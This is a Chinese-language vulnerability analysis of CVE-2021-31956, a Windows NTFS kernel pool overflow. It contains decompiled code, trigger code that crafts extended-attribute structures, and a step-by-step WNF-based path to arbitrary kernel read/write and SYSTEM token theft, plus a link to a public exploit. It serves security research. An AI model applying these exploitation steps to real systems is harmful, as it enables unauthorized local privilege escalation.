CVE-2021-31956分析与利用

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  • 时间:2022-03-07 11:03:19
简介 CVE-2021-31956分析与利用

一、漏洞概括

CVE-2021-31956是由Windows Ntfs组件系统存在整形溢出所导致,该漏洞可导致本地权限提升。

二、漏洞复现环境

三、漏洞成因

该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中。

_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,FILE_FULL_EA_INFORMATION *CurrentEas,__int64 a3, __int64 PEaBuffer,unsigned int UserBufferLength,FILE_GET_EA_INFORMATION *pUserEaList,char a7){. . . . . .  while ( 1 )  {     // 索引ealist中的成员,用作下面的查找。    v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9);    *(_QWORD *)&DestinationString.Length = 0i64;    DestinationString.Buffer = 0i64;    *(_QWORD *)&SourceString.Length = 0i64;    SourceString.Buffer = 0i64;    *(_QWORD *)&DestinationString.Length = v11->EaNameLength;    DestinationString.MaximumLength = DestinationString.Length;    DestinationString.Buffer = v11->EaName;    RtlUpperString(&DestinationString, &DestinationString);    // 检查ealist中成员的name是否有效    if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )      break;    v12 = v11->NextEntryOffset;    v13 = v11->EaNameLength;    v22 = v11->NextEntryOffset + v9;    // 遍历查询的EaList    for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList                                                                         + curEaList->NextEntryOffset) )    {      if ( curEaList == v11 )      {         v15 = offset;        // v16 分配的内核池        v16 = (_DWORD *)(PEaBuffer + padding + offset);          // 根据name查找对应的Ea信息        if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) )        {          ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset);          // 计算内存拷贝大小          RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9;        //防溢出检查          if ( RawEaSize <= UserBufferLength - padding )          {            //溢出点            memmove(v16, ea_block, RawEaSize);            *v16 = 0;            goto LABEL_8;          }        }. . . . . .            if ( !a7 )            {              if ( v24 )                *v24 = (_DWORD)v16 - (_DWORD)v24;              //判断是ealist中是否还有其他成员              if ( v11->NextEntryOffset )              {                v24 = v16;                // 总长度减去已经拷贝的长度                UserBufferLength -= RawEaSize + padding;                //padding的计算                padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;                goto LABEL_26;              }            }. . . . . .}

上面的代码片段在循环遍历文件中的每个EA拓展属性,并将其拷贝到堆中,每次拷贝的大小为ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的结构如下:

    typedef struct _FILE_FULL_EA_INFORMATION {  ULONG  NextEntryOffset; //下一个同类型结构的偏移,若是左后一个则为0。  UCHAR  Flags;  UCHAR  EaNameLength; //eanam数组的长度,不包含0终止字符。  USHORT EaValueLength; //数组中每个ea值的长度  CHAR   EaName[1];} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

在每次拷贝前有一个判断溢出的检查(RawEaSize <= UserBufferLength - padding),UserBufferLength是由参数传入并在每次循环中递减,padding由(padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize)计算而来,该表达式只会存在4个结果(0, 1, 2,3)。

内存拷贝的目的地址(v16)由参数传入,该参数是在NtfsCommonQueryEa函数中分配的内核池。

. . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;. . . . .if ( *(_BYTE *)(a2 + 64) )        {          v34 = v14;          v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu);          v28 = v4;          v24 = 1;        } memset(v4, 0, v10); . . . . . . if ( v33 ){    v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);}. . . . . .                        (NtfsCommonQueryEa函数片段)

根据以上分析,当我们能够构造出“UserBufferLength < padding”时“RawEaSize <= UserBufferLength – padding”的溢出检查就会失效,从而进行内核池溢出。

总结来说,该漏洞有以下特点:

a) NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用,函数原型如下:

    NTSTATUS ZwQueryEaFile(  [in]           HANDLE           FileHandle, //文件句柄  [out]          PIO_STATUS_BLOCK IoStatusBlock,  [out]          PVOID            Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)  [in]           ULONG            Length, //缓冲区大小  [in]           BOOLEAN          ReturnSingleEntry,  [in, optional] PVOID            EaList, //指定需要查询的扩展属性  [in]           ULONG            EaListLength,  [in, optional] PULONG           EaIndex, //指定需要查询的起始索引  [in]           BOOLEAN          RestartScan);

b) 溢出拷贝时数据和大小均可控。

c) 可以覆盖下一个内核池块

d) 内核池分配时大小可控,并且可以进行堆布局。

四、漏洞触发

触发思路

我们可以使用NtSetEaFile函数来为我们自己创建的文件添加EA拓展属性,其函数原型如下:

        NTSTATUS ZwSetEaFile(  [in]  HANDLE           FileHandle, //文件句柄  [out] PIO_STATUS_BLOCK IoStatusBlock,  [in]  PVOID            Buffer,  //设置的Ea属性,指向FILE_FULL_EA_INFORMATION结构,该结构定义如上。  [in]  ULONG            Length //Ea属性缓冲区的长度);

该函数的第3个参数是一个FILE_FULL_EA_INFORMATION结构的缓冲区,用来指定Ea属性的值。所以我们可以利用EA属性来构造PAYLOAD, 在使用NtQueryEaFile函数来触发。

触发步骤

创建含有两个FILE_FULL_EA_INFORMATION结构的数组。

构造第一个FILE_FULL_EA_INFORMATION结构如下:

curEa->Flags = 0;// EaNameLength + EaValueLength +9 等于当前结构的总大小, 这里构造为18,使padding=2.curEa->EaNameLength = 3;curEa->EaValueLength = 6;//NextEntryOffset指向下一个EA信息,必须4字节对齐。curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);memcpy(curEa->EaName, ".PA", 3);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);

构造第二个FILE_FULL_EA_INFORMATION结构如下:

curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset) ;curEa->NextEntryOffset = 0;curEa->Flags = 0;// 第二个结构总大小为104curEa->EaNameLength = 4;curEa->EaValueLength =100;memcpy(curEa->EaName, ".PBB", 4);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 100 , 0);

调用NtSetEaFile函数来设置文件的Ea属性。

构造NtQueryEaFile函数的Ealist参数如下:

memcpy(EaList->EaName, ".PA", strlen(".PA"));EaList->EaNameLength = (UCHAR)strlen(".PA");EaList->NextEntryOffset = 12; //必须4字节对齐  EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);memcpy(EaList->EaName, ".PBB", strlen(".PBB"));EaList->EaNameLength = (UCHAR)strlen(".PBB");EaList->NextEntryOffset = 0;

调用NtQueryEaFile函数来触发漏洞,构造该函数的length参数为19,该参数可用来控制0环申请内存时的大小。

调试

内核池分配

 

第一次内存copy

padding的计算

溢出检查失效

第二次内存拷贝时,成功溢出

五、漏洞利用

WNF简介

Windows Notification Facitily 是 Windows 中的一个通知系统。

应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。

WNF在内核中的数据结构

_WNF_NAME_INSTANCE

+0x000 Header           : _WNF_NODE_HEADER  +0x008 RunRef           : _EX_RUNDOWN_REF   // 每一个WNF_NAME_INSTANCE结构都会根据StateName来挂到树中。  +0x010 TreeLinks        : _RTL_BALANCED_NODE   // wnf Name(3环的StateName ^ 0x41C64E6DA3BC0074)  +0x028 StateName        : _WNF_STATE_NAME_STRUCT  +0x030 ScopeInstance    : Ptr64 _WNF_SCOPE_INSTANCE  +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION  +0x050 StateDataLock    : _WNF_LOCK  // wnf 数据  +0x058 StateData        : Ptr64 _WNF_STATE_DATA  +0x060 CurrentChangeStamp : Uint4B  +0x068 PermanentDataStore : Ptr64 Void  +0x070 StateSubscriptionListLock : _WNF_LOCK  +0x078 StateSubscriptionListHead : _LIST_ENTRY  +0x088 TemporaryNameListEntry : _LIST_ENTRY  // 指向当前进程的 eprocess结构  +0x098 CreatorProcess   : Ptr64 _EPROCESS  +0x0a0 DataSubscribersCount : Int4B  +0x0a4 CurrentDeliveryCount : Int4B

_WNF_SCOPE_INSTANCE

+0x000 Header           : _WNF_NODE_HEADER  +0x008 RunRef           : _EX_RUNDOWN_REF  +0x010 DataScope        : _WNF_DATA_SCOPE  +0x014 InstanceIdSize   : Uint4B  +0x018 InstanceIdData   : Ptr64 Void  +0x020 ResolverListEntry : _LIST_ENTRY  +0x030 NameSetLock      : _WNF_LOCK  // 二叉树,根据这个成员来查找对应的NAME_INSTANCE结构  +0x038 NameSet          : _RTL_AVL_TREE  +0x040 PermanentDataStore : Ptr64 Void  +0x048 VolatilePermanentDataStore : Ptr64 Void

_WNF_STATE_DATA

+0x000 Header           : _WNF_NODE_HEADER // 分配的内核池大小 +0x004 AllocatedSize    : Uint4B // 当前数据大小 +0x008 DataSize         : Uint4B +0x00c ChangeStamp      : Uint4B

_WNF_STATE_NAME

struct _WNF_STATE_NAME{    ULONGLONG Version : 4;                                                       ULONGLONG NameLifetime : 2;          // 根据此成员来区分不同的WNF类型                                      ULONGLONG DataScope : 4;                                                     ULONGLONG PermanentData : 1;                                                 ULONGLONG Sequence : 53;                                                 };

WNF相关API

NtCreateWnfStateName

typedef NTSTATUS  (NTAPI * __NtCreateWnfStateName)(    _Out_ PWNF_STATE_NAME StateName,    _In_ WNF_STATE_NAME_LIFETIME NameLifetime,    _In_ WNF_DATA_SCOPE DataScope,    _In_ BOOLEAN PersistData,    _In_opt_ PCWNF_TYPE_ID TypeId,    _In_ ULONG MaximumStateSize,    _In_ PSECURITY_DESCRIPTOR SecurityDescriptor);

用来创建一个WNF对象,该函数会在0环创建一个WNF_NAME_INSTANCE对象,大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

(NtCreateWnfStateName函数片段)

NtUpdateWnfStateData

typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(    _In_ PWNF_STATE_NAME StateName,    _In_reads_bytes_opt_(Length) const VOID * Buffer,    _In_opt_ ULONG Length,    _In_opt_ PCWNF_TYPE_ID TypeId,    _In_opt_ const PVOID ExplicitScope,    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,    _In_ ULONG CheckStamp);

更新WNF StateData,当Length小于StateData->AllocateSize时会根据Length大小来分配内核池,否则会将Buffer中的数据拷贝到内核池中。

if (!v12 && (a1->PermanentDataStore || (_DWORD)v6) || (v13 = v12) != 0i64 && v12->AllocatedSize < (unsigned int)v6){        ......    if (((*(_DWORD *)&a1->StateName >> 4) & 3) != 3 || PsInitialSystemProcess == (PEPROCESS)a1->CreatorProcess)    {        v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithTag(PagedPool, (unsigned int)(v6 + 16), 0x20666E57u);        v25 = v21;    }    else    {        ......        v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);        ......    }        ......memmove(&v13[1], v7, v6);v13->DataSize = v6;v13->ChangeStamp = i;v15 = a1->PermanentDataStore;......                                       (NtUpdateWnfStateData函数片段)

NtQueryWnfStateData

typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(    _In_ PWNF_STATE_NAME StateName,    _In_opt_ PWNF_TYPE_ID TypeId,    _In_opt_ const VOID * ExplicitScope,    _Out_ PWNF_CHANGE_STAMP ChangeStamp,    _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,    _Inout_ PULONG BufferSize);

查询指定stateName对应的stateData, 当BufferSize小于StateData->DataSize时,该函数会调用失败,并返回C0000023。

*a2 = v11->ChangeStamp;  *a5 = v11->DataSize;  v12 = v11->DataSize;  if ( a4 < v12 )  {    v14 = 0xC0000023;  }  else  {    memmove(a3, &v11[1], v12);    v14 = 0;  }              

利用思路

相对内存读写

进行堆喷射,在0环中造成以下的内存布局。

利用Ntfs Chunk覆盖StateData中的DataSize成员, 后续就可以使用NtQueryWnfStateData API来读取NAME INSTACE对象中的内容。覆盖StateData中的AllocateSize成员,后续就可以使用NtUpDateWnfStateData API来修改NAME INSTACE对象中的内容。

任意内存读写

利用 State Data Chunk来覆盖Name Instance chunk中的StateData指针,后续使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)。

利用过程

1、按照如上所示进行内核池布局。

2、利用相对内存读取,读取NAME INSTACE对象中的内容。(NAME INSTANCE对象中有两个比较重要的成员StateName和CreatorProcess, 前者由于所有的NAME INSTANCE对象都保存在一个排序二叉树中,破坏了StateName成员会导致系统无法找到相对应的NAME INSTANCE对象, 并且在进行喷射后我们也无法确定究竟是哪一个StateName对应的对象发生了溢出, 所以通过该方法可以准确定位到发生了溢出的NAME INSTANCE对象。后者标识了当前进程的Eprocess对象,可以通过该对象来遍历所有进程的Eprocess结构)。

3、利用相对内存写入,修改NAME INSTANCE对象中的StateData成员为CreatorProcess (需要注意DataSize成员, 该成员直接影响读取的字节数和是否能够成功读取)。

4、利用任意内存读取遍历系统进程。

5、找到对应的系统进程后,利用任意内存读取获取系统进程的token。

6、利用任意内存写入,修改当前进程的token(需要注意AllocateSize成员)。

效果演示

EXP

EXP已在Github上开源,目前只在win 1903上经过测试,稳定性大概在80%。

github传送门(https://github.com/aazhuliang/CVE-2021-31956-EXP)

参考文章:

CVE-2021-31956(https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/)